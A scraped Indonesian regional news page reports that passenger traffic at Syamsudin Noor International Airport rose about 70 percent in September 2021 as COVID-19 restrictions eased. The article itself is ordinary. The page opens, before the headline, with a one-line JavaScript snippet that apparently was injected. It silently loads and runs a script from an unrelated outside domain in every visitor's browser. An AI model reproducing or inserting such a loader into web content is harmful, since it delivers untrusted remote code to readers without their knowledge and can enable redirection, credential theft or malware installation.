(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tren Penumpang Bandara Syamsudin Noor Naik, Ini Angkanya Pasca PPKM Berubah Level


KANALKALIMANTAN.COM, BANJARBARU – Seiring menurunnya angka kasus Covid-19 dan Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) di Kota Banjarbaru menjadi level 2, Bandara Internasional Syamsudin Noor mengalami lonjakan penumpang sejak akhir September 2021.

Menurut Stakeholder Relation Manager Bandara Internasional Syamsudin Noor, Ahmad Zulfian Noor, mengungkapkan lonjakan penumpang ini juga didasarkan oleh penyesuaian tarif Polymerase Chain Reaction (PCR) yang awalnya mencapa jutaan rupiah sekarang hanya sebesar Rp 525.000 dan penurunan level PPKM di Pulau Jawa dan Bali.

“Di bulan September 2021 tercatat kita melayani penumpang mencapai 77 ribu orang, sedangkan di bulan Agustus kita hanya melayani sebanyak 44 ribu orang penumpang,” terang Zulfian.

Zulfian membeberkan, lonjakan penumpang pada September bahkan mencapai 70 persen dibandingkan dengan Agustus.

Baca juga : Pencuri Konyol di Samarinda Embat Uang Rp 6 Juta, Duitnya Dihambur ke Warga

Jika dihitung rata-rata penumpang selama September mencapai 2.580 per hari. Dengan jumlah penumpang keberangkatan sebanyak 38.050 dan 39.172 penumpang yang datang dari luar daerah.

Meskipun mengalami lonjakan, hingga saat ini tujuan penumpang melakukan penerbangan karena urusan bisnis dan pekerjaan.

Sementara itu, Sekretaris Satgas Penanganan Covid-19 Kota Banjarbaru Zaini Syahranie mengatakan, mengenai persyaratan bagi warga yang masih di bawah umur 12 tahun bisa meminta surat rekomentasi pada tim Satgas Penanganan Covid-19 agar bisa diperbolehkan apabila ingin berpergian lewat jalur udara.

“Kalau ada masyarakat yang meminta surat permohonan, kami sampaikan bahwa surat tersebut gratis tanpa dipungut biaya sepeserpun,” tegas pria yang juga menjabat sebagai Kalakhar BPBD Kota Banjarbaru ini.

Zaini menerangkan terhitung kurang lebih ada 540 surat perizinan yang sudah Satgas Covid-19 berikan kepada pelaku penerbangan di Kota Banjarbaru yang masih berusia 12 tahun ke bawah selama PPKM level 2 di Kota Banjarbaru.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

11 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

11 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

11 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

12 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

12 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

14 jam ago

This website uses cookies.